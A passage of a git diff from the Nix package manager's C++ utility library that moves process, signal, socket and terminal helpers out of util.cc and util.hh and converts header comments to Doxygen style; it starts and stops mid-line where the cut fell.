input}); - - if (!statusOk(res.first)) - throw ExecError(res.first, "program '%1%' %2%", program, statusToString(res.first)); - - return res.second; -} - -// Output = error code + "standard out" output stream -std::pair runProgram(RunOptions && options) -{ - StringSink sink; - options.standardOut = &sink; - - int status = 0; - - try { - runProgram2(options); - } catch (ExecError & e) { - status = e.status; - } - - return {status, std::move(sink.s)}; -} - -void runProgram2(const RunOptions & options) -{ - checkInterrupt(); - - assert(!(options.standardIn && options.input)); - - std::unique_ptr source_; - Source * source = options.standardIn; - - if (options.input) { - source_ = std::make_unique(*options.input); - source = source_.get(); - } - - /* Create a pipe. */ - Pipe out, in; - if (options.standardOut) out.create(); - if (source) in.create(); - - ProcessOptions processOptions; - // vfork implies that the environment of the main process and the fork will - // be shared (technically this is undefined, but in practice that's the - // case), so we can't use it if we alter the environment - processOptions.allowVfork = !options.environment; - - /* Fork. */ - Pid pid = startProcess([&]() { - if (options.environment) - replaceEnv(*options.environment); - if (options.standardOut && dup2(out.writeSide.get(), STDOUT_FILENO) == -1) - throw SysError("dupping stdout"); - if (options.mergeStderrToStdout) - if (dup2(STDOUT_FILENO, STDERR_FILENO) == -1) - throw SysError("cannot dup stdout into stderr"); - if (source && dup2(in.readSide.get(), STDIN_FILENO) == -1) - throw SysError("dupping stdin"); - - if (options.chdir && chdir((*options.chdir).c_str()) == -1) - throw SysError("chdir failed"); - if (options.gid && setgid(*options.gid) == -1) - throw SysError("setgid failed"); - /* Drop all other groups if we're setgid. */ - if (options.gid && setgroups(0, 0) == -1) - throw SysError("setgroups failed"); - if (options.uid && setuid(*options.uid) == -1) - throw SysError("setuid failed"); - - Strings args_(options.args); - args_.push_front(options.program); - - restoreProcessContext(); - - if (options.searchPath) - execvp(options.program.c_str(), stringsToCharPtrs(args_).data()); - // This allows you to refer to a program with a pathname relative - // to the PATH variable. - else - execv(options.program.c_str(), stringsToCharPtrs(args_).data()); - - throw SysError("executing '%1%'", options.program); - }, processOptions); - - out.writeSide.close(); - - std::thread writerThread; - - std::promise promise; - - Finally doJoin([&]() { - if (writerThread.joinable()) - writerThread.join(); - }); - - - if (source) { - in.readSide.close(); - writerThread = std::thread([&]() { - try { - std::vector buf(8 * 1024); - while (true) { - size_t n; - try { - n = source->read(buf.data(), buf.size()); - } catch (EndOfFile &) { - break; - } - writeFull(in.writeSide.get(), {buf.data(), n}); - } - promise.set_value(); - } catch (...) { - promise.set_exception(std::current_exception()); - } - in.writeSide.close(); - }); - } - - if (options.standardOut) - drainFD(out.readSide.get(), *options.standardOut); - - /* Wait for the child to finish. */ - int status = pid.wait(); - - /* Wait for the writer thread to finish. */ - if (source) promise.get_future().get(); - - if (status) - throw ExecError(status, "program '%1%' %2%", options.program, statusToString(status)); -} - - -void closeMostFDs(const std::set & exceptions) -{ -#if __linux__ - try { - for (auto & s : readDirectory("/proc/self/fd")) { - auto fd = std::stoi(s.name); - if (!exceptions.count(fd)) { - debug("closing leaked FD %d", fd); - close(fd); - } - } - return; - } catch (SysError &) { - } -#endif - - int maxFD = 0; - maxFD = sysconf(_SC_OPEN_MAX); - for (int fd = 0; fd < maxFD; ++fd) - if (!exceptions.count(fd)) - close(fd); /* ignore result */ -} - - -void closeOnExec(int fd) -{ - int prev; - if ((prev = fcntl(fd, F_GETFD, 0)) == -1 || - fcntl(fd, F_SETFD, prev | FD_CLOEXEC) == -1) - throw SysError("setting close-on-exec flag"); -} - ////////////////////////////////////////////////////////////////////// -std::atomic _isInterrupted = false; - -static thread_local bool interruptThrown = false; -thread_local std::function interruptCheck; - -void setInterruptThrown() -{ - interruptThrown = true; -} - -void _interrupted() -{ - /* Block user interrupts while an exception is being handled. - Throwing an exception while another exception is being handled - kills the program! */ - if (!interruptThrown && !std::uncaught_exceptions()) { - interruptThrown = true; - throw Interrupted("interrupted by the user"); - } -} - - -////////////////////////////////////////////////////////////////////// - - -template C tokenizeString(std::string_view s, std::string_view separators) -{ - C result; - auto pos = s.find_first_not_of(separators, 0); - while (pos != std::string_view::npos) { - auto end = s.find_first_of(separators, pos + 1); - if (end == std::string_view::npos) end = s.size(); - result.insert(result.end(), std::string(s, pos, end - pos)); - pos = s.find_first_not_of(separators, end); - } - return result; -} - -template Strings tokenizeString(std::string_view s, std::string_view separators); -template StringSet tokenizeString(std::string_view s, std::string_view separators); -template std::vector tokenizeString(std::string_view s, std::string_view separators); - - std::string chomp(std::string_view s) { size_t i = s.find_last_not_of(" \n\r\t"); - return i == std::string_view::npos ? "" : std::string(s, 0, i + 1); + return i == s.npos ? "" : std::string(s, 0, i + 1); } @@ -1336,7 +77,7 @@ std::string replaceStrings( { if (from.empty()) return res; size_t pos = 0; - while ((pos = res.find(from, pos)) != std::string::npos) { + while ((pos = res.find(from, pos)) != res.npos) { res.replace(pos, from.size(), to); pos += to.size(); } @@ -1349,36 +90,62 @@ std::string rewriteStrings(std::string s, const StringMap & rewrites) for (auto & i : rewrites) { if (i.first == i.second) continue; size_t j = 0; - while ((j = s.find(i.first, j)) != std::string::npos) + while ((j = s.find(i.first, j)) != s.npos) s.replace(j, i.first.size(), i.second); } return s; } - -std::string statusToString(int status) +template +std::optional string2Int(const std::string_view s) { - if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) { - if (WIFEXITED(status)) - return (format("failed with exit code %1%") % WEXITSTATUS(status)).str(); - else if (WIFSIGNALED(status)) { - int sig = WTERMSIG(status); -#if HAVE_STRSIGNAL - const char * description = strsignal(sig); - return (format("failed due to signal %1% (%2%)") % sig % description).str(); -#else - return (format("failed due to signal %1%") % sig).str(); -#endif - } - else - return "died abnormally"; - } else return "succeeded"; + if (s.substr(0, 1) == "-" && !std::numeric_limits::is_signed) + return std::nullopt; + try { + return boost::lexical_cast(s.data(), s.size()); + } catch (const boost::bad_lexical_cast &) { + return std::nullopt; + } } +// Explicitly instantiated in one place for faster compilation +template std::optional string2Int(const std::string_view s); +template std::optional string2Int(const std::string_view s); +template std::optional string2Int(const std::string_view s); +template std::optional string2Int(const std::string_view s); +template std::optional string2Int(const std::string_view s); +template std::optional string2Int(const std::string_view s); +template std::optional string2Int(const std::string_view s); +template std::optional string2Int(const std::string_view s); +template std::optional string2Int(const std::string_view s); +template std::optional string2Int(const std::string_view s); -bool statusOk(int status) +template +std::optional string2Float(const std::string_view s) { - return WIFEXITED(status) && WEXITSTATUS(status) == 0; + try { + return boost::lexical_cast(s.data(), s.size()); + } catch (const boost::bad_lexical_cast &) { + return std::nullopt; + } +} + +template std::optional string2Float(const std::string_view s); +template std::optional string2Float(const std::string_view s); + + +std::string renderSize(uint64_t value, bool align) +{ + static const std::array prefixes{{ + 'K', 'K', 'M', 'G', 'T', 'P', 'E', 'Z', 'Y' + }}; + size_t power = 0; + double res = value; + while (res > 1024 && power < prefixes.size()) { + ++power; + res /= 1024; + } + return fmt(align ? "%6.1f %ciB" : "%.1f %ciB", power == 0 ? res / 1024 : res, prefixes.at(power)); } @@ -1395,12 +162,11 @@ bool hasSuffix(std::string_view s, std::string_view suffix) } -std::string toLower(const std::string & s) +std::string toLower(std::string s) { - std::string r(s); - for (auto & c : r) + for (auto & c : s) c = std::tolower(c); - return r; + return s; } @@ -1408,7 +174,7 @@ std::string shellEscape(const std::string_view s) { std::string r; r.reserve(s.size() + 2); - r += "'"; + r += '\''; for (auto & i : s) if (i == '\'') r += "'\\''"; else r += i; r += '\''; @@ -1429,82 +195,6 @@ void ignoreException(Verbosity lvl) } catch (...) { } } -bool shouldANSI() -{ - return isatty(STDERR_FILENO) - && getEnv("TERM").value_or("dumb") != "dumb" - && !getEnv("NO_COLOR").has_value(); -} - -std::string filterANSIEscapes(const std::string & s, bool filterAll, unsigned int width) -{ - std::string t, e; - size_t w = 0; - auto i = s.begin(); - - while (w < (size_t) width && i != s.end()) { - - if (*i == '\e') { - std::string e; - e += *i++; - char last = 0; - - if (i != s.end() && *i == '[') { - e += *i++; - // eat parameter bytes - while (i != s.end() && *i >= 0x30 && *i <= 0x3f) e += *i++; - // eat intermediate bytes - while (i != s.end() && *i >= 0x20 && *i <= 0x2f) e += *i++; - // eat final byte - if (i != s.end() && *i >= 0x40 && *i <= 0x7e) e += last = *i++; - } else { - if (i != s.end() && *i >= 0x40 && *i <= 0x5f) e += *i++; - } - - if (!filterAll && last == 'm') - t += e; - } - - else if (*i == '\t') { - i++; t += ' '; w++; - while (w < (size_t) width && w % 8) { - t += ' '; w++; - } - } - - else if (*i == '\r' || *i == '\a') - // do nothing for now - i++; - - else { - w++; - // Copy one UTF-8 character. - if ((*i & 0xe0) == 0xc0) { - t += *i++; - if (i != s.end() && ((*i & 0xc0) == 0x80)) t += *i++; - } else if ((*i & 0xf0) == 0xe0) { - t += *i++; - if (i != s.end() && ((*i & 0xc0) == 0x80)) { - t += *i++; - if (i != s.end() && ((*i & 0xc0) == 0x80)) t += *i++; - } - } else if ((*i & 0xf8) == 0xf0) { - t += *i++; - if (i != s.end() && ((*i & 0xc0) == 0x80)) { - t += *i++; - if (i != s.end() && ((*i & 0xc0) == 0x80)) { - t += *i++; - if (i != s.end() && ((*i & 0xc0) == 0x80)) t += *i++; - } - } - } else - t += *i++; - } - } - - return t; -} - constexpr char base64Chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; @@ -1533,7 +223,7 @@ std::string base64Encode(std::string_view s) std::string base64Decode(std::string_view s) { constexpr char npos = -1; - constexpr std::array base64DecodeChars = [&]() { + constexpr std::array base64DecodeChars = [&] { std::array result{}; for (auto& c : result) c = npos; @@ -1621,341 +311,9 @@ std::pair getLine(std::string_view s) } -////////////////////////////////////////////////////////////////////// - -static Sync> windowSize{{0, 0}}; - - -static void updateWindowSize() -{ - struct winsize ws; - if (ioctl(2, TIOCGWINSZ, &ws) == 0) { - auto windowSize_(windowSize.lock()); - windowSize_->first = ws.ws_row; - windowSize_->second = ws.ws_col; - } -} - - -std::pair getWindowSize() -{ - return *windowSize.lock(); -} - - -/* We keep track of interrupt callbacks using integer tokens, so we can iterate - safely without having to lock the data structure while executing arbitrary - functions. - */ -struct InterruptCallbacks { - typedef int64_t Token; - - /* We use unique tokens so that we can't accidentally delete the wrong - handler because of an erroneous double delete. */ - Token nextToken = 0; - - /* Used as a list, see InterruptCallbacks comment. */ - std::map> callbacks; -}; - -static Sync _interruptCallbacks; - -static void signalHandlerThread(sigset_t set) -{ - while (true) { - int signal = 0; - sigwait(&set, &signal); - - if (signal == SIGINT || signal == SIGTERM || signal == SIGHUP) - triggerInterrupt(); - - else if (signal == SIGWINCH) { - updateWindowSize(); - } - } -} - -void triggerInterrupt() -{ - _isInterrupted = true; - - { - InterruptCallbacks::Token i = 0; - while (true) { - std::function callback; - { - auto interruptCallbacks(_interruptCallbacks.lock()); - auto lb = interruptCallbacks->callbacks.lower_bound(i); - if (lb == interruptCallbacks->callbacks.end()) - break; - - callback = lb->second; - i = lb->first + 1; - } - - try { - callback(); - } catch (...) { - ignoreException(); - } - } - } -} - -static sigset_t savedSignalMask; - -void startSignalHandlerThread() -{ - updateWindowSize(); - - if (sigprocmask(SIG_BLOCK, nullptr, &savedSignalMask)) - throw SysError("querying signal mask"); - - sigset_t set; - sigemptyset(&set); - sigaddset(&set, SIGINT); - sigaddset(&set, SIGTERM); - sigaddset(&set, SIGHUP); - sigaddset(&set, SIGPIPE); - sigaddset(&set, SIGWINCH); - if (pthread_sigmask(SIG_BLOCK, &set, nullptr)) - throw SysError("blocking signals"); - - std::thread(signalHandlerThread, set).detach(); -} - -static void restoreSignals() -{ - if (sigprocmask(SIG_SETMASK, &savedSignalMask, nullptr)) - throw SysError("restoring signals"); -} - -#if __linux__ -rlim_t savedStackSize = 0; -#endif - -void setStackSize(size_t stackSize) -{ - #if __linux__ - struct rlimit limit; - if (getrlimit(RLIMIT_STACK, &limit) == 0 && limit.rlim_cur < stackSize) { - savedStackSize = limit.rlim_cur; - limit.rlim_cur = stackSize; - setrlimit(RLIMIT_STACK, &limit); - } - #endif -} - -#if __linux__ -static AutoCloseFD fdSavedMountNamespace; -#endif - -void saveMountNamespace() -{ -#if __linux__ - static std::once_flag done; - std::call_once(done, []() { - AutoCloseFD fd = open("/proc/self/ns/mnt", O_RDONLY); - if (!fd) - throw SysError("saving parent mount namespace"); - fdSavedMountNamespace = std::move(fd); - }); -#endif -} - -void restoreMountNamespace() -{ -#if __linux__ - try { - auto savedCwd = absPath("."); - - if (fdSavedMountNamespace && setns(fdSavedMountNamespace.get(), CLONE_NEWNS) == -1) - throw SysError("restoring parent mount namespace"); - if (chdir(savedCwd.c_str()) == -1) { - throw SysError("restoring cwd"); - } - } catch (Error & e) { - debug(e.msg()); - } -#endif -} - -void unshareFilesystem() -{ -#ifdef __linux__ - if (unshare(CLONE_FS) != 0 && errno != EPERM) - throw SysError("unsharing filesystem state in download thread"); -#endif -} - -void restoreProcessContext(bool restoreMounts) -{ - restoreSignals(); - if (restoreMounts) { - restoreMountNamespace(); - } - - #if __linux__ - if (savedStackSize) { - struct rlimit limit; - if (getrlimit(RLIMIT_STACK, &limit) == 0) { - limit.rlim_cur = savedStackSize; - setrlimit(RLIMIT_STACK, &limit); - } - } - #endif -} - -/* RAII helper to automatically deregister a callback. */ -struct InterruptCallbackImpl : InterruptCallback -{ - InterruptCallbacks::Token token; - ~InterruptCallbackImpl() override - { - auto interruptCallbacks(_interruptCallbacks.lock()); - interruptCallbacks->callbacks.erase(token); - } -}; - -std::unique_ptr createInterruptCallback(std::function callback) -{ - auto interruptCallbacks(_interruptCallbacks.lock()); - auto token = interruptCallbacks->nextToken++; - interruptCallbacks->callbacks.emplace(token, callback); - - auto res = std::make_unique(); - res->token = token; - - return std::unique_ptr(res.release()); -} - - -AutoCloseFD createUnixDomainSocket() -{ - AutoCloseFD fdSocket = socket(PF_UNIX, SOCK_STREAM - #ifdef SOCK_CLOEXEC - | SOCK_CLOEXEC - #endif - , 0); - if (!fdSocket) - throw SysError("cannot create Unix domain socket"); - closeOnExec(fdSocket.get()); - return fdSocket; -} - - -AutoCloseFD createUnixDomainSocket(const Path & path, mode_t mode) -{ - auto fdSocket = nix::createUnixDomainSocket(); - - bind(fdSocket.get(), path); - - if (chmod(path.c_str(), mode) == -1) - throw SysError("changing permissions on '%1%'", path); - - if (listen(fdSocket.get(), 100) == -1) - throw SysError("cannot listen on socket '%1%'", path); - - return fdSocket; -} - - -void bind(int fd, const std::string & path) -{ - unlink(path.c_str()); - - struct sockaddr_un addr; - addr.sun_family = AF_UNIX; - - if (path.size() + 1 >= sizeof(addr.sun_path)) { - Pid pid = startProcess([&]() { - Path dir = dirOf(path); - if (chdir(dir.c_str()) == -1) - throw SysError("chdir to '%s' failed", dir); - std::string base(baseNameOf(path)); - if (base.size() + 1 >= sizeof(addr.sun_path)) - throw Error("socket path '%s' is too long", base); - memcpy(addr.sun_path, base.c_str(), base.size() + 1); - if (bind(fd, (struct sockaddr *) &addr, sizeof(addr)) == -1) - throw SysError("cannot bind to socket '%s'", path); - _exit(0); - }); - int status = pid.wait(); - if (status != 0) - throw Error("cannot bind to socket '%s'", path); - } else { - memcpy(addr.sun_path, path.c_str(), path.size() + 1); - if (bind(fd, (struct sockaddr *) &addr, sizeof(addr)) == -1) - throw SysError("cannot bind to socket '%s'", path); - } -} - - -void connect(int fd, const std::string & path) -{ - struct sockaddr_un addr; - addr.sun_family = AF_UNIX; - - if (path.size() + 1 >= sizeof(addr.sun_path)) { - Pid pid = startProcess([&]() { - Path dir = dirOf(path); - if (chdir(dir.c_str()) == -1) - throw SysError("chdir to '%s' failed", dir); - std::string base(baseNameOf(path)); - if (base.size() + 1 >= sizeof(addr.sun_path)) - throw Error("socket path '%s' is too long", base); - memcpy(addr.sun_path, base.c_str(), base.size() + 1); - if (connect(fd, (struct sockaddr *) &addr, sizeof(addr)) == -1) - throw SysError("cannot connect to socket at '%s'", path); - _exit(0); - }); - int status = pid.wait(); - if (status != 0) - throw Error("cannot connect to socket at '%s'", path); - } else { - memcpy(addr.sun_path, path.c_str(), path.size() + 1); - if (connect(fd, (struct sockaddr *) &addr, sizeof(addr)) == -1) - throw SysError("cannot connect to socket at '%s'", path); - } -} - - std::string showBytes(uint64_t bytes) { return fmt("%.2f MiB", bytes / (1024.0 * 1024.0)); } - -// FIXME: move to libstore/build -void commonChildInit(Pipe & logPipe) -{ - logger = makeSimpleLogger(); - - const static std::string pathNullDevice = "/dev/null"; - restoreProcessContext(false); - - /* Put the child in a separate session (and thus a separate - process group) so that it has no controlling terminal (meaning - that e.g. ssh cannot open /dev/tty) and it doesn't receive - terminal signals. */ - if (setsid() == -1) - throw SysError("creating a new session"); - - /* Dup the write side of the logger pipe into stderr. */ - if (dup2(logPipe.writeSide.get(), STDERR_FILENO) == -1) - throw SysError("cannot pipe standard error into log file"); - - /* Dup stderr to stdout. */ - if (dup2(STDERR_FILENO, STDOUT_FILENO) == -1) - throw SysError("cannot dup stderr into stdout"); - - /* Reroute stdin to /dev/null. */ - int fdDevNull = open(pathNullDevice.c_str(), O_RDWR); - if (fdDevNull == -1) - throw SysError("cannot open '%1%'", pathNullDevice); - if (dup2(fdDevNull, STDIN_FILENO) == -1) - throw SysError("cannot dup null device into stdin"); - close(fdDevNull); -} - } diff --git a/src/libutil/util.hh b/src/libutil/util.hh index ea83351a7..25128a900 100644 --- a/src/libutil/util.hh +++ b/src/libutil/util.hh @@ -1,440 +1,45 @@ #pragma once +///@file #include "types.hh" #include "error.hh" #include "logging.hh" -#include "ansicolor.hh" -#include -#include -#include -#include -#include -#include - -#include #include #include #include #include -#ifndef HAVE_STRUCT_DIRENT_D_TYPE -#define DT_UNKNOWN 0 -#define DT_REG 1 -#define DT_LNK 2 -#define DT_DIR 3 -#endif +#include "strings.hh" namespace nix { -struct Sink; -struct Source; - - -/* The system for which Nix is compiled. */ -extern const std::string nativeSystem; - - -/* Return an environment variable. */ -std::optional getEnv(const std::string & key); - -/* Get the entire environment. */ -std::map getEnv(); - -/* Clear the environment. */ -void clearEnv(); - -/* Return an absolutized path, resolving paths relative to the - specified directory, or the current directory otherwise. The path - is also canonicalised. */ -Path absPath(Path path, - std::optional dir = {}, - bool resolveSymlinks = false); - -/* Canonicalise a path by removing all `.' or `..' components and - double or trailing slashes. Optionally resolves all symlink - components such that each component of the resulting path is *not* - a symbolic link. */ -Path canonPath(PathView path, bool resolveSymlinks = false); - -/* Return the directory part of the given canonical path, i.e., - everything before the final `/'. If the path is the root or an - immediate child thereof (e.g., `/foo'), this means `/' - is returned.*/ -Path dirOf(const PathView path); - -/* Return the base name of the given canonical path, i.e., everything - following the final `/' (trailing slashes are removed). */ -std::string_view baseNameOf(std::string_view path); - -/* Perform tilde expansion on a path. */ -std::string expandTilde(std::string_view path); - -/* Check whether 'path' is a descendant of 'dir'. Both paths must be - canonicalized. */ -bool isInDir(std::string_view path, std::string_view dir); - -/* Check whether 'path' is equal to 'dir' or a descendant of - 'dir'. Both paths must be canonicalized. */ -bool isDirOrInDir(std::string_view path, std::string_view dir); - -/* Get status of `path'. */ -struct stat stat(const Path & path); -struct stat lstat(const Path & path); - -/* Return true iff the given path exists. */ -bool pathExists(const Path & path); - -/* Read the contents (target) of a symbolic link. The result is not - in any way canonicalised. */ -Path readLink(const Path & path); - -bool isLink(const Path & path); - -/* Read the contents of a directory. The entries `.' and `..' are - removed. */ -struct DirEntry -{ - std::string name; - ino_t ino; - unsigned char type; // one of DT_* - DirEntry(std::string name, ino_t ino, unsigned char type) - : name(std::move(name)), ino(ino), type(type) { } -}; - -typedef std::vector DirEntries; - -DirEntries readDirectory(const Path & path); - -unsigned char getFileType(const Path & path); - -/* Read the contents of a file into a string. */ -std::string readFile(int fd); -std::string readFile(const Path & path); -void readFile(const Path & path, Sink & sink); - -/* Write a string to a file. */ -void writeFile(const Path & path, std::string_view s, mode_t mode = 0666, bool sync = false); - -void writeFile(const Path & path, Source & source, mode_t mode = 0666, bool sync = false); - -/* Flush a path's parent directory to disk */ -void syncParent(const Path & path); - -/* Flush a file or entire directory tree to disk */ -void recursiveSync(const Path & path); - -/* Read a line from a file descriptor. */ -std::string readLine(int fd); - -/* Write a line to a file descriptor. */ -void writeLine(int fd, std::string s); - -/* Delete a path; i.e., in the case of a directory, it is deleted - recursively. It's not an error if the path does not exist. The - second variant returns the number of bytes and blocks freed. */ -void deletePath(const Path & path); - -void deletePath(const Path & path, uint64_t & bytesFreed); - -std::string getUserName(); - -/* Return $HOME or the user's home directory from /etc/passwd. */ -Path getHome(); - -/* Return $XDG_CACHE_HOME or $HOME/.cache. */ -Path getCacheDir(); - -/* Return $XDG_CONFIG_HOME or $HOME/.config. */ -Path getConfigDir(); - -/* Return the directories to search for user configuration files */ -std::vector getConfigDirs(); - -/* Return $XDG_DATA_HOME or $HOME/.local/share. */ -Path getDataDir(); - -/* Return the path of the current executable. */ -std::optional getSelfExe(); - -/* Create a directory and all its parents, if necessary. Returns the - list of created directories, in order of creation. */ -Paths createDirs(const Path & path); -inline Paths createDirs(PathView path) -{ - return createDirs(Path(path)); -} - -/* Create a symlink. */ -void createSymlink(const Path & target, const Path & link, - std::optional mtime = {}); - -/* Atomically create or replace a symlink. */ -void replaceSymlink(const Path & target, const Path & link, - std::optional mtime = {}); - -void renameFile(const Path & src, const Path & dst); +void initLibUtil(); /** - * Similar to 'renameFile', but fallback to a copy+remove if `src` and `dst` - * are on a different filesystem. - * - * Beware that this might not be atomic because of the copy that happens behind - * the scenes + * Convert a list of strings to a null-terminated vector of `char + * *`s. The result must not be accessed beyond the lifetime of the + * list of strings. */ -void moveFile(const Path & src, const Path & dst); - - -/* Wrappers arount read()/write() that read/write exactly the - requested number of bytes. */ -void readFull(int fd, char * buf, size_t count); -void writeFull(int fd, std::string_view s, bool allowInterrupts = true); - -MakeError(EndOfFile, Error); - - -/* Read a file descriptor until EOF occurs. */ -std::string drainFD(int fd, bool block = true, const size_t reserveSize=0); - -void drainFD(int fd, Sink & sink, bool block = true); - -/* If cgroups are active, attempt to calculate the number of CPUs available. - If cgroups are unavailable or if cpu.max is set to "max", return 0. */ -unsigned int getMaxCPU(); - -/* Automatic cleanup of resources. */ - - -class AutoDelete -{ - Path path; - bool del; - bool recursive; -public: - AutoDelete(); - AutoDelete(const Path & p, bool recursive = true); - ~AutoDelete(); - void cancel(); - void reset(const Path & p, bool recursive = true); - operator Path() const { return path; } - operator PathView() const { return path; } -}; - - -class AutoCloseFD -{ - int fd; -public: - AutoCloseFD(); - AutoCloseFD(int fd); - AutoCloseFD(const AutoCloseFD & fd) = delete; - AutoCloseFD(AutoCloseFD&& fd); - ~AutoCloseFD(); - AutoCloseFD& operator =(const AutoCloseFD & fd) = delete; - AutoCloseFD& operator =(AutoCloseFD&& fd); - int get() const; - explicit operator bool() const; - int release(); - void close(); - /* Perform a blocking fsync operation */ - void fsync() const; - /* Asynchronously flush to disk without blocking, if available on the platform. This is just a performance - * optimization, and fsync must be run later even if this is called. */ - void startFsync() const; -}; - - -/* Create a temporary directory. */ -Path createTempDir(const Path & tmpRoot = "", const Path & prefix = "nix", - bool includePid = true, bool useGlobalCounter = true, mode_t mode = 0755); - -/* Create a temporary file, returning a file handle and its path. */ -std::pair createTempFile(const Path & prefix = "nix"); - - -class Pipe -{ -public: - AutoCloseFD readSide, writeSide; - void create(); - void close(); -}; - - -struct DIRDeleter -{ - void operator()(DIR * dir) const { - closedir(dir); - } -}; - -typedef std::unique_ptr AutoCloseDir; - - -class Pid -{ - pid_t pid = -1; - bool separatePG = false; - int killSignal = SIGKILL; -public: - Pid(); - Pid(pid_t pid); - ~Pid(); - void operator =(pid_t pid); - operator pid_t(); - int kill(); - int wait(); - - void setSeparatePG(bool separatePG); - void setKillSignal(int signal); - pid_t release(); -}; - - -/* Kill all processes running under the specified uid by sending them - a SIGKILL. */ -void killUser(uid_t uid); - - -/* Fork a process that runs the given function, and return the child - pid to the caller. */ -struct ProcessOptions -{ - std::string errorPrefix = ""; - bool dieWithParent = true; - bool runExitHandlers = false; - bool allowVfork = false; -}; - -pid_t startProcess(std::function fun, const ProcessOptions & options = ProcessOptions()); - - -/* Run a program and return its stdout in a string (i.e., like the - shell backtick operator). */ -std::string runProgram(Path program, bool searchPath = false, - const Strings & args = Strings(), - const std::optional & input = {}); - -struct RunOptions -{ - Path program; - bool searchPath = true; - Strings args; - std::optional uid; - std::optional gid; - std::optional chdir; - std::optional> environment; - std::optional input; - Source * standardIn = nullptr; - Sink * standardOut = nullptr; - bool mergeStderrToStdout = false; -}; - -std::pair runProgram(RunOptions && options); - -void runProgram2(const RunOptions & options); - - -/* Change the stack size. */ -void setStackSize(size_t stackSize); - - -/* Restore the original inherited Unix process context (such as signal - masks, stack size). */ -void restoreProcessContext(bool restoreMounts = true); - -/* Save the current mount namespace. Ignored if called more than - once. */ -void saveMountNamespace(); - -/* Restore the mount namespace saved by saveMountNamespace(). Ignored - if saveMountNamespace() was never called. */ -void restoreMountNamespace(); - -/* Cause this thread to not share any FS attributes with the main - thread, because this causes setns() in restoreMountNamespace() to - fail. */ -void unshareFilesystem(); - - -class ExecError : public Error -{ -public: - int status; - - template - ExecError(int status, const Args & ... args) - : Error(args...), status(status) - { } -}; - -/* Convert a list of strings to a null-terminated vector of char - *'s. The result must not be accessed beyond the lifetime of the - list of strings. */ std::vector stringsToCharPtrs(const Strings & ss); -/* Close all file descriptors except those listed in the given set. - Good practice in child processes. */ -void closeMostFDs(const std::set & exceptions); - -/* Set the close-on-exec flag for the given file descriptor. */ -void closeOnExec(int fd); - - -/* User interruption. */ - -extern std::atomic _isInterrupted; - -extern thread_local std::function interruptCheck; - -void setInterruptThrown(); - -void _interrupted(); - -void inline checkInterrupt() -{ - if (_isInterrupted || (interruptCheck && interruptCheck())) - _interrupted(); -} - -MakeError(Interrupted, BaseError); - MakeError(FormatError, Error); -/* String tokenizer. */ -template C tokenizeString(std::string_view s, std::string_view separators = " \t\n\r"); - - -/* Concatenate the given strings with a separator between the - elements. */ -template -std::string concatStringsSep(const std::string_view sep, const C & ss) -{ - size_t size = 0; - // need a cast to string_view since this is also called with Symbols - for (const auto & s : ss) size += sep.size() + std::string_view(s).size(); - std::string s; - s.reserve(size); - for (auto & i : ss) { - if (s.size() != 0) s += sep; - s += i; - } - return s; -} - -template -auto concatStrings(Parts && ... parts) +template +auto concatStrings(Parts &&... parts) -> std::enable_if_t<(... && std::is_convertible_v), std::string> { - std::string_view views[sizeof...(parts)] = { parts... }; + std::string_view views[sizeof...(parts)] = {parts...}; return concatStringsSep({}, views); } -/* Add quotes around a collection of strings. */ +/** + * Add quotes around a collection of strings. + */ template Strings quoteStrings(const C & c) { Strings res; @@ -443,17 +48,23 @@ template Strings quoteStrings(const C & c) return res; } - -/* Remove trailing whitespace from a string. FIXME: return - std::string_view. */ +/** + * Remove trailing whitespace from a string. + * + * \todo return std::string_view. + */ std::string chomp(std::string_view s); -/* Remove whitespace from the start and end of a string. */ +/** + * Remove whitespace from the start and end of a string. + */ std::string trim(std::string_view s, std::string_view whitespace = " \n\r\t"); -/* Replace all occurrences of a string inside another string. */ +/** + * Replace all occurrences of a string inside another string. + */ std::string replaceStrings( std::string s, std::string_view from, @@ -463,32 +74,20 @@ std::string replaceStrings( std::string rewriteStrings(std::string s, const StringMap & rewrites); -/* Convert the exit status of a child as returned by wait() into an - error string. */ -std::string statusToString(int status); - -bool statusOk(int status); - - -/* Parse a string into an integer. */ +/** + * Parse a string into an integer. + */ template -std::optional string2Int(const std::string_view s) -{ - if (s.substr(0, 1) == "-" && !std::numeric_limits::is_signed) - return std::nullopt; - try { - return boost::lexical_cast(s.data(), s.size()); - } catch (const boost::bad_lexical_cast &) { - return std::nullopt; - } -} +std::optional string2Int(const std::string_view s); -/* Like string2Int(), but support an optional suffix 'K', 'M', 'G' or - 'T' denoting a binary unit prefix. */ +/** + * Like string2Int(), but support an optional suffix 'K', 'M', 'G' or + * 'T' denoting a binary unit prefix. + */ template N string2IntWithUnitPrefix(std::string_view s) { - N multiplier = 1; + uint64_t multiplier = 1; if (!s.empty()) { char u = std::toupper(*s.rbegin()); if (std::isalpha(u)) { @@ -505,19 +104,23 @@ N string2IntWithUnitPrefix(std::string_view s) throw UsageError("'%s' is not an integer", s); } -/* Parse a string into a float. */ +/** + * Pretty-print a byte value, e.g. 12433615056 is rendered as `11.6 + * GiB`. If `align` is set, the number will be right-justified by + * padding with spaces on the left. + */ +std::string renderSize(uint64_t value, bool align = false); + +/** + * Parse a string into a float. + */ template -std::optional string2Float(const std::string_view s) -{ - try { - return boost::lexical_cast(s.data(), s.size()); - } catch (const boost::bad_lexical_cast &) { - return std::nullopt; - } -} +std::optional string2Float(const std::string_view s); -/* Convert a little-endian integer to host order. */ +/** + * Convert a little-endian integer to host order. + */ template T readLittleEndian(unsigned char * p) { @@ -529,19 +132,27 @@ T readLittleEndian(unsigned char * p) } -/* Return true iff `s' starts with `prefix'. */ +/** + * @return true iff `s` starts with `prefix`. + */ bool hasPrefix(std::string_view s, std::string_view prefix); -/* Return true iff `s' ends in `suffix'. */ +/** + * @return true iff `s` ends in `suffix`. + */ bool hasSuffix(std::string_view s, std::string_view suffix); -/* Convert a string to lower case. */ -std::string toLower(const std::string & s); +/** + * Convert a string to lower case. + */ +std::string toLower(std::string s); -/* Escape a string as a shell word. */ +/** + * Escape a string as a shell word. + */ std::string shellEscape(const std::string_view s); @@ -551,44 +162,41 @@ void ignoreException(Verbosity lvl = lvlError); -/* Tree formatting. */ +/** + * Tree formatting. + */ constexpr char treeConn[] = "├───"; constexpr char treeLast[] = "└───"; constexpr char treeLine[] = "│ "; constexpr char treeNull[] = " "; -/* Determine whether ANSI escape sequences are appropriate for the - present output. */ -bool shouldANSI(); -/* Truncate a string to 